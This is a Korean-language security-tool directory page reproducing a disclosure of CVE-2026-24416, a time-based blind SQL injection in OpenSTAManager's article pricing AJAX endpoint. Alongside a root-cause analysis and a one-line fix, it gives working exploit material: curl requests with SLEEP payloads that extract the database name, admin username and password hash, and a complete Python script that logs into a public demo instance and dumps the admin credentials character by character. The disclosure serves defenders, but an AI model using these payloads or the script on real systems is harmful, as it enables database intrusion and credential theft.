Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-24416 — CVE-2026-24416 - OpenSTAManager의 품목 가격 책정 모듈에 시간 기반 블라인드 SQL 인젝션 취약점이 존재합니다. | Kitploit
도구/GitHubGitHub/lukasz-rybak/cve-2026-24416
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & Education
GitHublukasz-rybak/cve-2026-24416

CVE-2026-24416

CVE-2026-24416 - OpenSTAManager의 품목 가격 책정 모듈에 시간 기반 블라인드 SQL 인젝션 취약점이 존재합니다.

저장소 보기
4개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-24416: OpenSTAManager 아티클 가격 책정 모듈의 시간 기반 블라인드 SQL 인젝션

개요

필드세부 정보
CVE IDCVE-2026-24416
심각도높음
보안 권고보안 권고 보기
발견자Lukasz Rybak

영향을 받는 제품

  • devcode-it/openstamanager (버전: <= 2.9.8)

CWE 분류

  • CWE-89: SQL 명령에 사용되는 특수 요소의 부적절한 중화 ('SQL 인젝션')

세부 정보

요약

OpenSTAManager v2.9.8의 아티클 가격 책정 모듈에 있는 심각한 시간 기반 블라인드 SQL 인젝션 취약점으로 인해 인증된 공격자가 시간 기반 부울 추론 공격을 통해 사용자 자격 증명, 고객 데이터, 재무 기록을 포함한 전체 데이터베이스 내용을 추출할 수 있습니다.

상태: ✅ 라이브 인스턴스(v2.9.8) 및 demo.osmbusiness.it(v2.9.7)에서 확인 및 테스트 완료 취약한 파라미터: idarticolo (GET) 영향을 받는 엔드포인트: /ajax_complete.php?op=getprezzi 영향을 받는 모듈: Articoli (아티클/제품)

세부 정보

OpenSTAManager v2.9.8에는 아티클 가격 자동 완성 핸들러에 심각한 시간 기반 블라인드 SQL 인젝션 취약점이 존재합니다. 이 애플리케이션은 SQL 쿼리에서 idarticolo 파라미터를 사용하기 전에 제대로 삭제하지 못하여, 공격자가 임의의 SQL 명령을 주입하고 시간 기반 부울 추론을 통해 민감한 데이터를 추출할 수 있습니다.

취약점 체인:

  1. 진입점: /ajax_complete.php (27행)

    root@kitploit:~
    $op = get('op');
    $result = AJAX::complete($op);
    

    op 파라미터가 검색되지만 취약점은 다른 파라미터에 있습니다.

  2. 전파: /src/AJAX.php::complete() (189행)

    root@kitploit:~
    $result = self::getCompleteResults($file, $resource);
    
  3. 실행: /src/AJAX.php::getCompleteResults() (402행)

    root@kitploit:~
    require $file;
    

    모듈별 complete.php 파일이 포함됩니다.

  4. 취약한 파라미터: /modules/articoli/ajax/complete.php (26행)

    root@kitploit:~
    $idarticolo = get('idarticolo');
    

    idarticolo 파라미터는 GET 요청에서 검색됩니다.

  5. 취약한 SQL 쿼리: /modules/articoli/ajax/complete.php (70행)

컨텍스트 - 전체 쿼리 구조 (39-74행):

취약한 쿼리는 인보이스와 납품서에서 가격 이력을 가져오는 UNION 쿼리의 일부입니다:

root@kitploit:~
$documenti = $dbo->fetchArray('
    SELECT
        `iddocumento` AS id,
        "Fattura" AS tipo,
        "Fatture di vendita" AS modulo,
        (`subtotale`-`sconto`)/`qta` AS costo_unitario,
        ...
    FROM
        `co_righe_documenti`
        INNER JOIN `co_documenti` ON `co_documenti`.`id` = `co_righe_documenti`.`iddocumento`
        INNER JOIN `co_tipidocumento` ON `co_tipidocumento`.`id` = `co_documenti`.`idtipodocumento`
    WHERE
        `idarticolo`='.prepare($idarticolo).' AND ...  # ✓ PROPERLY SANITIZED (Line 54)
UNION
    SELECT
        `idddt` AS id,
        "Ddt" AS tipo,
        ...
    FROM
        `dt_righe_ddt`
        INNER JOIN `dt_ddt` ON `dt_ddt`.`id` = `dt_righe_ddt`.`idddt`
        INNER JOIN `dt_tipiddt` ON `dt_tipiddt`.`id` = `dt_ddt`.`idtipoddt`
    WHERE
        `idarticolo`='.$idarticolo.' AND   # ✗ VULNERABLE - NO prepare() (Line 70)
        `dt_tipiddt`.`dir`="entrata" AND
        `idanagrafica`='.prepare($idanagrafica).'
ORDER BY
    `id` DESC LIMIT 0,5');

근본 원인: 개발자는 첫 번째 SELECT(54행)에서 prepare()를 올바르게 사용했지만 UNION 쿼리의 두 번째 SELECT(70행)에서는 prepare()를 사용하지 않아 일관되지 않은 보안 패턴이 발생했습니다.

PoC

1단계: 로그인

root@kitploit:~
curl -c /tmp/cookies.txt -X POST 'http://localhost:8081/index.php?op=login' \
  -d 'username=admin&password=admin'

2단계: 취약점 확인 (시간 기반 SLEEP)

root@kitploit:~
# Test with SLEEP(10)
time curl -s -b /tmp/cookies.txt \
  "http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(10)))a)" \
  > /dev/null
# Result: real 0m10.32s (10.32 seconds)

# Test with SLEEP(3) - should take ~3 seconds
time curl -s -b /tmp/cookies.txt \
  "http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(3)))a)" \
  > /dev/null
# Result: real 0m3.36s (3.36 seconds)

# Test without SLEEP
time curl -s -b /tmp/cookies.txt \
  "http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1" \
  > /dev/null
# Result: real 0m0.31s (0.31 seconds)
image

3단계: 데이터 추출 - 데이터베이스 이름

root@kitploit:~
# Extract first character of database name
# Test if first char is 'o' (expected: TRUE for 'openstamanager')
time curl -s -b /tmp/cookies.txt \
  "http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20SUBSTRING(DATABASE(),1,1)=%27o%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)" \
  > /dev/null
# Result: real 0m2.34s (SLEEP executed - condition TRUE)

# Test if first char is 'x' (expected: FALSE)
time curl -s -b /tmp/cookies.txt \
  "http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20SUBSTRING(DATABASE(),1,1)=%27x%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)" \
  > /dev/null
# Result: real 0m0.31s (SLEEP not executed - condition FALSE)

# Extract second character (expected: 'p')
time curl -s -b /tmp/cookies.txt \
  "http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20SUBSTRING(DATABASE(),2,1)=%27p%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)" \
  > /dev/null
# Result: real 0m2.34s (SLEEP executed - confirms second char is 'p')

# Extract first 3 characters (expected: 'ope')
time curl -s -b /tmp/cookies.txt \
  "http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20SUBSTRING(DATABASE(),1,3)=%27ope%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)" \
  > /dev/null
# Result: real 0m2.33s (SLEEP executed - confirms 'ope...')

4단계: 민감 데이터 추출 - 관리자 자격 증명

root@kitploit:~
# Extract admin username (test if first 5 chars are 'admin')
time curl -s -b /tmp/cookies.txt \
  "http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20(SELECT%20SUBSTRING(username,1,5)%20FROM%20zz_users%20WHERE%20id=1)=%27admin%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)" \
  > /dev/null
# Result: real 0m2.33s (SLEEP executed - confirms admin username)

# Extract first character of password hash (expected: '$' for bcrypt)
time curl -s -b /tmp/cookies.txt \
  "http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20(SELECT%20SUBSTRING(password,1,1)%20FROM%20zz_users%20WHERE%20id=1)=%27%24%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)" \
  > /dev/null
# Result: real 0m2.33s (SLEEP executed - confirms bcrypt hash format)

페이로드 설명:

root@kitploit:~
Original payload: 1 AND SUBSTRING(DATABASE(),1,1)='o' AND (SELECT 1 FROM (SELECT(SLEEP(2)))a)
URL-encoded: 1%20AND%20SUBSTRING(DATABASE(),1,1)=%27o%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)

Injection breakdown:
1. 1 - Valid article ID
2. AND SUBSTRING(DATABASE(),1,1)='o' - Boolean condition to test
3. AND (SELECT 1 FROM (SELECT(SLEEP(2)))a) - Execute SLEEP(2) if condition is true

SQL Query Result:
WHERE
    `idarticolo`=1
    AND SUBSTRING(DATABASE(),1,1)='o'
    AND (SELECT 1 FROM (SELECT(SLEEP(2)))a)
    AND `dt_tipiddt`.`dir`="entrata"
    AND `idanagrafica`=1

자동 추출 스크립트 예제:

root@kitploit:~
import requests
import time
import string
import sys

# Default Configuration
BASE_URL = "https://demo.osmbusiness.it"
USERNAME = "demo"
PASSWORD = "demodemo1"
SLEEP_TIME = 3  # Increased to 3s for stability on remote demo instance

def login(session, base_url, user, pwd):
    """Authenticates to the application and maintains session."""
    login_url = f"{base_url}/index.php?op=login"
    data = {"username": user, "password": pwd}
    
    print(f"[*] Attempting login to: {login_url}...")
    try:
        response = session.post(login_url, data=data, timeout=10)
        # Check if login was successful (usually indicated by presence of logout link or redirect)
        if "logout" in response.text.lower() or response.status_code == 200:
            print("[+] Login successful!")
            return True
        else:
            print("[-] Login failed. Please check credentials.")
            return False
    except Exception as e:
        print(f"[!] Connection error: {e}")
        return False

def extract_data(session, base_url, sql_query, label="Data"):
    """Extracts data character by character until the end of the string is reached."""
    print(f"\n[*] Extracting: {label}...")
    result = ""
    position = 1
    target_endpoint = f"{base_url}/ajax_complete.php"
    
    # Charset optimized for database names and bcrypt hashes ($, ., /)
    charset = string.ascii_letters + string.digits + "$./" + string.punctuation

    while True:
        found_char = False
        for char in charset:
            # Payload: If the condition is true, the server sleeps for SLEEP_TIME
            # Using ORD() and SUBSTRING() to handle various character types safely
            payload = f"1 AND (SELECT 1 FROM (SELECT IF(ORD(SUBSTRING(({sql_query}),{position},1))={ord(char)},SLEEP({SLEEP_TIME}),0))a)"
            
            params = {
                "op": "getprezzi",
                "idanagrafica": "1",
                "idarticolo": payload
            }

            try:
                start_time = time.time()
                session.get(target_endpoint, params=params, timeout=SLEEP_TIME + 10)
                elapsed = time.time() - start_time

                if elapsed >= SLEEP_TIME:
                    result += char
                    found_char = True
                    sys.stdout.write(f"\r[+] {label} [{position}]: {result}")
                    sys.stdout.flush()
                    break
            except requests.exceptions.RequestException:
                # Handle network jitter/timeouts by retrying or continuing
                continue

        # If no character from charset triggered a sleep, we've reached the end of the data
        if not found_char:
            print(f"\n[!] End of string or no data found at position {position}.")
            break
            
        position += 1
        
    return result

def main():
    s = requests.Session()
    
    # Allow target URL to be passed as a command line argument
    target = sys.argv[1] if len(sys.argv) > 1 else BASE_URL
    
    if login(s, target, USERNAME, PASSWORD):
        # 1. Database name extraction
        db = extract_data(s, target, "SELECT DATABASE()", "Database Name")
        
        # 2. Admin username extraction
        user = extract_data(s, target, "SELECT username FROM zz_users WHERE id=1", "Admin Username (id=1)")
        
        # 3. Password hash extraction (Bcrypt hashes are ~60 chars; the loop handles this automatically)
        pwd_hash = extract_data(s, target, "SELECT password FROM zz_users WHERE id=1", "Password Hash")

        print(f"\n\n{'='*35}")
        print(f"         FINAL REPORT")
        print(f"{'='*35}")
        print(f"Target URL: {target}")
        print(f"Database:   {db}")
        print(f"Username:   {user}")
        print(f"Hash:       {pwd_hash}")
        print(f"{'='*35}")

if __name__ == "__main__":
    main()
image

영향

영향을 받는 사용자: 아티클 가격 기능에 접근할 수 있는 모든 인증 사용자 (일반적으로 견적, 인보이스, 주문을 관리하는 사용자)

권장 수정 사항:

파일: /modules/articoli/ajax/complete.php

수정 전 (취약 - 70행):

root@kitploit:~
WHERE
    `idarticolo`='.$idarticolo.' AND
    `dt_tipiddt`.`dir`="entrata" AND
    `idanagrafica`='.prepare($idanagrafica).'

수정 후 (해결됨):

root@kitploit:~
WHERE
    `idarticolo`='.prepare($idarticolo).' AND
    `dt_tipiddt`.`dir`="entrata" AND
    `idanagrafica`='.prepare($idanagrafica).'

크레딧

발견자: Łukasz Rybak

참조

  • https://github.com/devcode-it/openstamanager/security/advisories/GHSA-p864-fqgv-92q4
  • https://nvd.nist.gov/vuln/detail/CVE-2026-24416
  • https://github.com/advisories/GHSA-p864-fqgv-92q4

면책 조항

이 CVE는 조정된 취약점 공개 절차에 따라 책임감 있게 공개되었습니다. 여기에 제공된 정보는 교육 및 방어 목적으로만 사용됩니다.

도구 다운로드
주요 취약점
root@kitploit:~
FROM
    `dt_righe_ddt`
    INNER JOIN `dt_ddt` ON `dt_ddt`.`id` = `dt_righe_ddt`.`idddt`
    INNER JOIN `dt_tipiddt` ON `dt_tipiddt`.`id` = `dt_ddt`.`idtipoddt`
WHERE
    `idarticolo`='.$idarticolo.' AND
    `dt_tipiddt`.`dir`="entrata" AND
    `idanagrafica`='.prepare($idanagrafica).'

영향: $idanagrafica는 제대로 삭제되는 반면, $idarticolo는 prepare() 없이 직접 연결됩니다.